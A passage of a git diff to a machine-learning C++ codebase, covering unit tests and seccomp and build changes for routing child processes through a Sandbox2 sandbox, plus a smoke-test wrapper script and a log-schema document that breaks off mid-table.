ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths; // empty + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + assertDispatchCopiesFile(router, ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, + "router_test_never_sandboxed.txt"); +} + +BOOST_AUTO_TEST_CASE(testLegacyRouteDispatchesLegacyForSandboxedPath) { + // processPath IS listed as sandboxed, but the caller has already + // decided E_Legacy (operator kill switch, validated upstream): the + // router must still dispatch to the legacy spawner and never consult + // Sandbox2 availability for this route. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + assertDispatchCopiesFile(router, ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, + "router_test_legacy_route.txt"); +} + +BOOST_AUTO_TEST_CASE(testTerminateAndHasChildCoverBothBackends) { + // A PID this router never spawned is owned by neither backend. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + BOOST_REQUIRE_EQUAL(false, router.hasChild(0)); + BOOST_REQUIRE_EQUAL(false, router.terminateChild(0)); +} + +#ifndef SANDBOX2_AVAILABLE +BOOST_AUTO_TEST_CASE(testSandbox2RouteFailsClosedWithoutSandbox2Support) { + // Build/deployment contradiction case (design doc): processPath is + // configured as sandboxed, but this build has no Sandbox2 support. + // spawn() must fail closed - never fall through to the legacy spawner, + // and never touch either spawner's live-child bookkeeping for the pid + // it would have used. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{ + SHELL_FLAG, copyArgsScript("router_test_should_not_run.txt")}; + ml::core::CProcess::TPid childPid{0}; + BOOST_REQUIRE_EQUAL(false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, + PROCESS_PATH, args, childPid)); + + // No child was ever registered with either backend for this attempt. + BOOST_REQUIRE_EQUAL(false, router.hasChild(childPid)); + + // The legacy spawner was never reached either: the output file the + // copy command would have produced must not exist. + std::ifstream ifs{"router_test_should_not_run.txt"}; + BOOST_REQUIRE_EQUAL(false, ifs.is_open()); +} + +BOOST_AUTO_TEST_CASE(testH4SignalFailClosedWithoutSandbox2Support) { + // Reuses the exact non-Linux fail-closed vector above (route == + // E_Sandbox2 for a sandboxedProcessPaths entry, no SANDBOX2_AVAILABLE) + // to assert the sandbox2_launch signal itself: mode == "fail_closed", + // sandbox2_established == false (a JSON boolean, not the string + // "false"), route == "sandbox2", and the signal fires even though + // spawn() returns false - it must not be gated behind a success check. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{"--modelid=deploy-fail-closed"}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, + PROCESS_PATH, args, childPid)); + })}; + + BOOST_REQUIRE(logged.find("\"event\":\"sandbox2_launch\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"route\":\"sandbox2\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"mode\":\"fail_closed\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"sandbox2_established\":false") != std::string::npos); + BOOST_REQUIRE(logged.find("\"model_id\":\"deploy-fail-closed\"") != std::string::npos); + // No path-bearing (input/output/restore/logPipe) option was present in + // args *at all*, which is the only case that still yields an empty + // deployment_id - it must be the explicit empty string, not omitted. + // When such an option is present, deployment_id is populated in this + // same fail_closed mode: see + // testH4SignalDeploymentIdPopulatedOnFailClosed below. + BOOST_REQUIRE(logged.find("\"deployment_id\":\"\"") != std::string::npos); +} + +#ifndef Windows +BOOST_AUTO_TEST_CASE(testH4SignalDeploymentIdPopulatedOnFailClosed) { + // deployment_id is derived once, before dispatch, so it is populated on + // the fail_closed mode too - previously the derivation ran after + // spawn() had already failed, and reported "" on exactly the modes this + // signal exists to make debuggable. + const std::string childId{"deployfailclosed"}; + CScopedChildIpcRoot childIpcRoot{childId}; + + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{childIpcRoot.inputArg()}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, + PROCESS_PATH, args, childPid)); + })}; + + BOOST_REQUIRE(logged.find("\"mode\":\"fail_closed\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"deployment_id\":\"" + childId + "\"") != std::string::npos); +} +#endif // !Windows +#endif // !SANDBOX2_AVAILABLE + +#ifndef Windows +BOOST_AUTO_TEST_CASE(testH4SignalDeploymentIdPopulatedOnDegradedRoute) { + // Same single-derivation guarantee on the degraded (legacy-route) mode, + // which never reaches CSandboxedProcessSpawner's own validation call at + // all - and here the legacy spawn itself also fails (PROCESS_PATH is + // deliberately not permitted), so this covers the worst case for the + // old post-spawn derivation. + const std::string childId{"deploydegraded"}; + CScopedChildIpcRoot childIpcRoot{childId}; + + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths; // deliberately empty + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{childIpcRoot.inputArg()}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, + PROCESS_PATH, args, childPid)); + })}; + + BOOST_REQUIRE(logged.find("\"mode\":\"degraded\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"deployment_id\":\"" + childId + "\"") != std::string::npos); +} +#endif // !Windows + +#ifndef Windows +BOOST_AUTO_TEST_CASE(testH4SignalEscapesControlCharactersInDeploymentId) { + // deployment_id is a filesystem path component, so a raw control + // character in it would otherwise split what must stay a single-line + // JSON object. + const std::string childId{"deploy\nid\tx"}; + CScopedChildIpcRoot childIpcRoot{childId}; + + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths; // deliberately empty + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{childIpcRoot.inputArg()}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, + PROCESS_PATH, args, childPid)); + })}; + + BOOST_REQUIRE(logged.find("\"deployment_id\":\"deploy\\nid\\tx\"") != std::string::npos); + // ...and the raw control characters are gone from the emitted line. + const std::size_t signalStart{logged.find("{\"event\":\"sandbox2_launch\"")}; + BOOST_TEST_REQUIRE(signalStart != std::string::npos); + // "}" (not "degraded\"}") because sandbox2_compiled_in is an additive + // field emitted after mode, so the line no longer ends immediately + // after "degraded". + const std::size_t signalEnd{logged.find('}', signalStart)}; + BOOST_TEST_REQUIRE(signalEnd != std::string::npos); + BOOST_REQUIRE(logged.find('\n', signalStart) > signalEnd); +} +#endif // !Windows + +BOOST_AUTO_TEST_CASE(testNoH4SignalForUnsandboxedProcessPath) { + // Negative assertion: a process path that is not configured as sandboxed + // (autodetect, categorize, and every other permitted process) must + // produce no sandbox2_launch line at all - not one with route "legacy", + // not one with an empty deployment_id, none. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths; // empty + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + const std::string outputFile{"router_test_no_h4_signal.txt"}; + std::remove(outputFile.c_str()); + ml::controller::CProcessSpawnerRouter::TStrVec args{ + SHELL_FLAG, copyArgsScript(outputFile), "--modelid=deploy-not-sandboxed"}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL(true, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, + PROCESS_PATH, args, childPid)); + })}; + std::this_thread::sleep_for(std::chrono::seconds{1}); + std::remove(outputFile.c_str()); + + BOOST_REQUIRE(logged.find("sandbox2_launch") == std::string::npos); + BOOST_REQUIRE(logged.find("deploy-not-sandboxed") == std::string::npos); +} + +BOOST_AUTO_TEST_CASE(testH4SignalDegradedOnLegacyRouteSuccess) { + // Token-present route: mode must be "degraded" and sandbox2_established + // false regardless of the legacy spawn's own outcome. This case is the + // successful-spawn half of that "regardless" - see + // testH4SignalDegradedOnLegacyRouteFailure for the failed-spawn half. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + const std::string outputFile{"router_test_h4_degraded_success.txt"}; + std::remove(outputFile.c_str()); + ml::controller::CProcessSpawnerRouter::TStrVec args{ + SHELL_FLAG, copyArgsScript(outputFile), "--modelid=deploy-degraded-ok"}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL(true, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, + PROCESS_PATH, args, childPid)); + })}; + // The copy runs in the detached child asynchronously - give it the same + // grace period assertDispatchCopiesFile above uses before cleaning up, + // so this test doesn't race the shell command and leave debris behind. + std::this_thread::sleep_for(std::chrono::seconds{1}); + std::remove(outputFile.c_str()); + + BOOST_REQUIRE(logged.find("\"event\":\"sandbox2_launch\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"route\":\"legacy\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"mode\":\"degraded\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"sandbox2_established\":false") != std::string::npos); + BOOST_REQUIRE(logged.find("\"model_id\":\"deploy-degraded-ok\"") != std::string::npos); +} + +BOOST_AUTO_TEST_CASE(testH4SignalDegradedOnLegacyRouteFailure) { + // Same route (E_Legacy) but the legacy spawn itself fails + // deterministically, without touching the filesystem or the real + // Sandbox2 backend: PROCESS_PATH is listed as sandboxed (so the signal + // is eligible to fire) but deliberately left out of permittedPaths, so + // core::CDetachedProcessSpawner::spawn() rejects it up front + // ("is not permitted") before any fork/exec attempt. Confirms mode == + // "degraded" (not "fail_closed" - that mode is reserved for the + // no-token Sandbox2 route) even though the underlying spawn failed. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths; // PROCESS_PATH deliberately absent + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{"--modelid=deploy-degraded-fail"}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, + PROCESS_PATH, args, childPid)); + })}; + + BOOST_REQUIRE(logged.find("\"event\":\"sandbox2_launch\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"route\":\"legacy\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"mode\":\"degraded\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"sandbox2_established\":false") != std::string::npos); + BOOST_REQUIRE(logged.find("\"model_id\":\"deploy-degraded-fail\"") != std::string::npos); +} + +BOOST_AUTO_TEST_CASE(testH4SignalLegacyReasonKillSwitch) { + // legacy_reason distinguishes the two states mode == "degraded" + // conflates. E_KillSwitch: a validated --disableSandbox token was + // present, i.e. a deliberate operator/test action. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths; // spawn fails deterministically + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{"--modelid=deploy-kill-switch"}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, + PROCESS_PATH, args, childPid, + ml::controller::CProcessSpawnerRouter::ELegacyReason::E_KillSwitch)); + })}; + + BOOST_REQUIRE(logged.find("\"route\":\"legacy\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"mode\":\"degraded\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"legacy_reason\":\"kill_switch\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"legacy_reason\":\"no_token_default\"") == std::string::npos); +} + +BOOST_AUTO_TEST_CASE(testH4SignalLegacyReasonNoTokenDefault) { + // E_NoTokenDefault: neither routing token was present at all - this is + // the permanent behaviour for a caller that sends no routing token, not + // a rollout-dormancy switch. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths; // spawn fails deterministically + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{"--modelid=deploy-no-token"}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, + PROCESS_PATH, args, childPid, + ml::controller::CProcessSpawnerRouter::ELegacyReason::E_NoTokenDefault)); + })}; + + BOOST_REQUIRE(logged.find("\"route\":\"legacy\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"mode\":\"degraded\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"legacy_reason\":\"no_token_default\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"legacy_reason\":\"kill_switch\"") == std::string::npos); +} + +BOOST_AUTO_TEST_CASE(testH4SignalIncludesSandboxCompiledInField) { + // sandbox2_compiled_in is a build-time-constant fact (backed by + // sandbox::CMlSandboxAvailability::isCompiledIn()), not per-launch + // state, so - unlike legacy_reason - it must appear on every emitted + // signal line regardless of route/mode. It is what lets a consumer + // distinguish "Sandbox2 supported but no token yet" from "built without + // Sandbox2 support at all", which the other fields alone cannot. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths; // spawn fails deterministically + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{"--modelid=deploy-compiled-in"}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, + PROCESS_PATH, args, childPid, + ml::controller::CProcessSpawnerRouter::ELegacyReason::E_NoTokenDefault)); + })}; + +#ifdef SANDBOX2_AVAILABLE + BOOST_REQUIRE(logged.find("\"sandbox2_compiled_in\":true") != std::string::npos); +#else + BOOST_REQUIRE(logged.find("\"sandbox2_compiled_in\":false") != std::string::npos); +#endif +} + +#ifndef SANDBOX2_AVAILABLE +BOOST_AUTO_TEST_CASE(testH4SignalNoLegacyReasonOnSandbox2Route) { + // legacy_reason is omitted entirely - not emitted as "" or null - on + // every route == "sandbox2" signal. On this build that is the + // fail_closed mode (route == "sandbox2", spawn failed); mode == + // "enforced" shares the same route value and the same omission, and is + // Buildkite-deferred for the reason documented below. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{"--modelid=deploy-no-legacy-reason"}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, + PROCESS_PATH, args, childPid)); + })}; + + BOOST_REQUIRE(logged.find("\"route\":\"sandbox2\"") != std::string::npos); + BOOST_REQUIRE(logged.find("\"mode\":\"fail_closed\"") != std::string::npos); + BOOST_REQUIRE(logged.find("legacy_reason") == std::string::npos); +} +#endif // !SANDBOX2_AVAILABLE + +// Buildkite-deferred (Linux + Sandbox2 only): the mode == "enforced" / +// sandbox2_established == true case requires a real successful Sandbox2 +// launch (route == E_Sandbox2, a sandboxedProcessPaths entry, spawn() +// returning true) - on a build without SANDBOX2_AVAILABLE that combination +// is unreachable, since CProcessSpawnerRouter::spawn() unconditionally +// fails closed for it (see testH4SignalFailClosedWithoutSandbox2Support +// immediately above). This is the same platform limitation the pre-existing +// Buildkite-deferred note below documents for the router's own Sandbox2 +// dispatch; the sandbox2_launch "enforced" case needs the identical Linux + +// Sandbox2 scaffolding once a Sandbox2-aware controller unittest target +// exists. + +// Buildkite-deferred (Linux + Sandbox2 only): asserting that +// an E_Sandbox2 route for a sandboxedProcessPaths entry reaches +// CSandboxedProcessSpawner::spawn(), and that a failure there returns false +// without any retry through the legacy spawner, needs a real Sandbox2 +// launch target. That requires the payload-executable + filesystem-policy +// scaffolding lib/sandbox/unittest/CMakeLists.txt builds for +// CSandboxedProcessSpawnerLifecycleTest_Linux (payloads/, sandbox2::sandbox2 +// link, Linux-only CMake block) - none of which bin/controller/unittest +// currently has. This host (macOS) cannot build or run that scaffolding, so +// this assertion is intentionally not implemented here; it belongs either +// in a future Linux-gated addition to this file once bin/controller/unittest +// grows the same payload machinery, or as a lib/sandbox-level test that +// exercises CProcessSpawnerRouter directly. + +BOOST_AUTO_TEST_CASE(testRouterLayoutDoesNotDependOnSandbox2Support) { + // Regression guard for the deterministic Linux teardown crash this + // router's first CI run hit. sizeof(sandbox::CSandboxedProcessSpawner) + // differs between translation units compiled with and without + // SANDBOX2_AVAILABLE, because its m_AwaitResultFn seam only exists under + // that macro (include/sandbox/CSandboxedProcessSpawner.h). While this + // router held that class *by value*, the difference propagated into + // sizeof(CProcessSpawnerRouter) and sizeof(CCommandProcessor), so a + // binary that mixed both views of the header - as ml_test_controller did, + // its object files being compiled without the macro and its test + // translation units with it - had inline constructors and destructors + // disagreeing about member offsets, and corrupted memory when a router + // was destroyed. + // + // Holding the sandboxed spawner behind a pointer makes this class's + // layout the same size under either view; the assertion below is the + // property that guarantees that, and it fails to compile if the member + // ever goes back to being stored by value. + static_assert(sizeof(ml::controller::CProcessSpawnerRouter) < + sizeof(ml::core::CDetachedProcessSpawner) + + sizeof(ml::sandbox::CSandboxedProcessSpawner), + "CProcessSpawnerRouter must not store a " + "sandbox::CSandboxedProcessSpawner by value - its size " + "depends on SANDBOX2_AVAILABLE, which would make this " + "class's layout (and CCommandProcessor's) depend on it too"); + BOOST_TEST_REQUIRE(sizeof(ml::controller::CProcessSpawnerRouter) < + sizeof(ml::core::CDetachedProcessSpawner) + + sizeof(ml::sandbox::CSandboxedProcessSpawner)); +} + +BOOST_AUTO_TEST_CASE(testLegacyOnlyRouterNeedsNoSandboxedSpawner) { + // A router that only ever dispatches E_Legacy must complete its whole + // lifecycle - construction, dispatch, live-child queries, destruction - + // without any Sandbox2 machinery being created: the sandboxed spawner is + // only constructed inside spawn()'s Sandbox2 branch. Repeated here + // because the crash this guards against surfaced at *destruction* of a + // router that had only ever taken the legacy route, so a single + // construct-and-leak would not have caught it. + // + // Whether the lazy member was constructed is deliberately not exposed as + // public API: what is observable, and what actually matters, is that + // terminateChild()/hasChild() answer "no sandboxed child" for a PID this + // router never spawned instead of constructing a spawner just to ask, + // and that the legacy route keeps working across the whole lifecycle. + for (int attempt = 0; attempt < 2; ++attempt) { + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + BOOST_REQUIRE_EQUAL(false, router.hasChild(0)); + BOOST_REQUIRE_EQUAL(false, router.terminateChild(0)); + + assertDispatchCopiesFile(router, ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, + "router_test_legacy_only_lifecycle.txt"); + + // Still nothing sandboxed after a legacy dispatch. + BOOST_REQUIRE_EQUAL(false, router.hasChild(0)); + BOOST_REQUIRE_EQUAL(false, router.terminateChild(0)); + } +} + +BOOST_AUTO_TEST_SUITE_END() diff --git a/bin/pytorch_inference/Main.cc b/bin/pytorch_inference/Main.cc index 800c7525b6..9bd22bb75b 100644 --- a/bin/pytorch_inference/Main.cc +++ b/bin/pytorch_inference/Main.cc @@ -296,31 +296,59 @@ int main(int argc, char** argv) { // Reduce memory priority before installing system call filters. ml::core::CProcessPriority::reduceMemoryPriority(); - // Internal switch, not an operator setting: it stays false until the - // controller can route around Sandbox2 explicitly and guarantee that a - // degraded-mode (no-Sandbox2) launch was a deliberate operator choice - // rather than the only option this process has. Flipping it on today - // would terminate every launch on a host lacking seccomp BPF, with no - // operator fallback to select instead. + // Internal switch, deliberately still OFF (log-and-continue on a failed + // in-process seccomp installation, exactly as before typed routing). + // + // Turning it on is only safe once a degraded/legacy-route launch is + // guaranteed to be a deliberate decision rather than an unrequested + // default. CProcessSpawnerRouter supplies half of that guarantee - it + // never falls back to the legacy spawner after a failed Sandbox2 + // attempt - but the controller's no-token case still always takes the + // legacy route (see bin/controller/CCommandProcessor.cc), and a caller + // that omits both routing tokens is not necessarily choosing that + // deliberately. So an ordinary launch with no explicit token is a + // degraded-route launch, and terminating on seccomp-install failure + // would fail every launch on a host lacking usable seccomp BPF + // (restricted containers, some CI images) with no fallback to select + // instead. + // + // Activate this once every caller that matters (in practice, + // Elasticsearch) always sends an explicit --disableSandbox or + // --requireSandbox token per launch, so a degraded launch really is + // only ever reachable via an explicit, controller-validated + // --disableSandbox token, which is what makes hard termination safe. constexpr bool TERMINATE_ON_DEGRADED_SECCOMP_FAILURE{false}; - const ml::seccomp::ESystemCallFilterInstallOutcome seccompOutcome{ - ml::seccomp::CSystemCallFilter::installSystemCallFilter()}; - - if (ml::seccomp::decideDegradedModeAction(seccompOutcome, TERMINATE_ON_DEGRADED_SECCOMP_FAILURE) == - ml::seccomp::EDegradedModeAction::E_TerminateBeforeIo) { - LOG_FATAL(<< "Seccomp installation " << ml::seccomp::describe(seccompOutcome) + // The in-process filter belongs to the legacy/non-sandboxed route only. + // On the Sandbox2 route the executor's own policy is already the + // security boundary and ML_SANDBOXED is exactly "1", so the whole step - + // install, degraded-mode decision, attestation marker - is skipped. + // Attempting it from inside an already-sandboxed environment would + // either fail (which would terminate every enforced-route launch once + // hard termination above is activated) or succeed and emit the + // legacy-route attestation marker on a launch the controller's + // sandbox2_launch signal reports as "route":"sandbox2". + const bool sandbox2Launched{ml::seccomp::sandbox2LaunchedChild()}; + const ml::seccomp::SInProcessFilterResult seccompResult{ml::seccomp::applyInProcessSeccompFilter( + sandbox2Launched, TERMINATE_ON_DEGRADED_SECCOMP_FAILURE, + [] { return ml::seccomp::CSystemCallFilter::installSystemCallFilter(); })}; + + if (seccompResult.s_Attempted == false) { + LOG_DEBUG(<< "ML_SANDBOXED=1: skipping in-process system call filter " + "installation; the Sandbox2 executor policy applies"); + } else if (seccompResult.s_Action == ml::seccomp::EDegradedModeAction::E_TerminateBeforeIo) { + LOG_FATAL(<< "Seccomp installation " + << ml::seccomp::describe(seccompResult.s_Outcome) << "; terminating before untrusted model processing"); return EXIT_FAILURE; } // Explicit structured attestation the controller/Elasticsearch can // assert on directly, rather than inferring readiness from the absence - // of a fatal log line above. - const std::string degradedModeMarker{ - ml::seccomp::degradedModeAttestationMarker(seccompOutcome)}; - if (degradedModeMarker.empty() == false) { - LOG_INFO(<< degradedModeMarker); + // of a fatal log line above. Empty (never emitted) on the Sandbox2 + // route, which installs no in-process filter to attest. + if (seccompResult.s_AttestationMarker.empty() == false) { + LOG_INFO(<< seccompResult.s_AttestationMarker); } if (ioMgr.initIo() == false) { diff --git a/build.gradle b/build.gradle index 080714884e..94d7e164ad 100644 --- a/build.gradle +++ b/build.gradle @@ -206,6 +206,18 @@ task buildZip(type: Zip) { exclude "**/core*" includeEmptyDirs = false } + // Publish the controller protocol/capability token at the zip root (not + // nested under 3rd_party/) so Elasticsearch can assert against a + // well-known top-level path in the -deps zip. Bump the integer inside + // 3rd_party/controller-protocol.version (not merely its existence) on any + // future breaking change to either (a) the controller's + // --disableSandbox/--requireSandbox token semantics (controller-only + // metadata, never forwarded to the child), or (b) the per-child IPC route + // contract ($TMPDIR/ml-child-ipc/, mounted at the same path + // inside and outside the sandbox). + from("3rd_party") { + include "controller-protocol.version" + } } task buildZipSymbols(type: Zip) { @@ -419,6 +431,15 @@ def noDependenciesSpec(source) { include "**/date_time_zonespec.csv" // Copy licenses include "**/licenses/**" + // Copy the controller protocol/capability token (published at the + // zip root by buildZip - see its comment) into the nodeps zip too: + // the controller binary the token makes claims about ships only in + // this zip, so a build combining a locally-built nodeps with a + // downloaded deps snapshot must not assert the token from a + // different ml-cpp revision than the actual controller. dependenciesSpec + // above ships it too, via its lack of a matching exclude - this makes + // it present in BOTH zips, excluded from neither. + include "controller-protocol.version" includeEmptyDirs = false } } diff --git a/dev-tools/run_sandbox2_attack_defense.sh b/dev-tools/run_sandbox2_attack_defense.sh new file mode 100755 index 0000000000..40cc2490e5 --- /dev/null +++ b/dev-tools/run_sandbox2_attack_defense.sh @@ -0,0 +1,47 @@ +#!/bin/bash +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the following additional limitation. Functionality enabled by the +# files subject to the Elastic License 2.0 may only be used in production when +# invoked by an Elasticsearch process with a license key installed that permits +# use of machine learning features. You may not use this file except in +# compliance with the Elastic License 2.0 and the foregoing additional +# limitation. +# +# Manual Sandbox2 attack-defense smoke test (not run in CI). +# +# Usage (from repo root, after a Linux build that installs controller and +# pytorch_inference): +# ./dev-tools/run_sandbox2_attack_defense.sh +# +# Requires: Linux, python3, torch, user namespaces (or root), and built +# binaries under build/distribution/platform/linux-*/bin/. + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +ROOT="$(cd "$SCRIPT_DIR/.." && pwd)" + +if [ "$(uname -s)" != "Linux" ]; then + echo "Sandbox2 attack-defense test is Linux-only; skipping" + exit 0 +fi + +if [ ! -e /proc/sys/kernel/unprivileged_userns_clone ] && [ "$(id -u)" -ne 0 ]; then + if [ -n "${ML_REQUIRE_SANDBOX2:-}" ]; then + echo "Sandbox2 attack-defense test required but user namespaces not available" >&2 + exit 1 + fi + echo "Skipping Sandbox2 attack-defense test: user namespaces not available" + exit 0 +fi + +cd "$ROOT" + +if ! command -v python3 >/dev/null 2>&1; then + echo "python3 is required to run Sandbox2 attack-defense tests" >&2 + exit 1 +fi + +exec python3 "$ROOT/test/test_sandbox2_attack_defense.py" "$@" diff --git a/docs/sandbox2_production_failure_modes.md b/docs/sandbox2_production_failure_modes.md new file mode 100644 index 0000000000..ec9af4ce00 --- /dev/null +++ b/docs/sandbox2_production_failure_modes.md @@ -0,0 +1,189 @@ +# Sandbox2 production failure modes + +This document tracks the operational log vocabulary the controller and +`pytorch_inference` emit around the Sandbox2 rollout. This schema is itself +an API: field names and types must not change without updating both this +document and any downstream consumer (notably a future change's ES-side +observability work). + +This file currently documents the `sandbox2_launch` structured +once-per-launch enforced-mode signal and, below, the attack-defense evidence +source used to validate the Sandbox2 security boundary. + +## Log vocabulary + +### `sandbox2_launch` + +Emitted exactly once per `CProcessSpawnerRouter::spawn()` call, for +processes eligible for sandboxing only (i.e. `processPath` is one of the +controller's configured `sandboxedProcessPaths` - never for unrelated +permitted processes such as `autodetect`). Fires on every dispatch outcome, +including a failed spawn, so it is never gated behind the controller's own +success handling. + +Logged via `LOG_INFO` over the controller's existing log pipe (the same +channel/style `degradedModeAttestationMarker()` marker uses), as a +single-line JSON object. + +| Field | Type | Meaning | +|-------------------------|---------|---------| +| `event` | string | Always `"sandbox2_launch"`. | +| `deployment_id` | string | `SChildIpcLaunchSpec::s_ChildId`, from a single `sandbox::validateChildIpcLaunchSpec()` call made **once per `spawn()`, before dispatch**, so the value cannot disagree with the state the dispatch decision was taken against and is populated on the `degraded`/`fail_closed` modes too. Empty string (`""`, explicit, never omitted) only when no path-bearing launch option (`input`/`output`/`restore`/`logPipe`) was present at all. 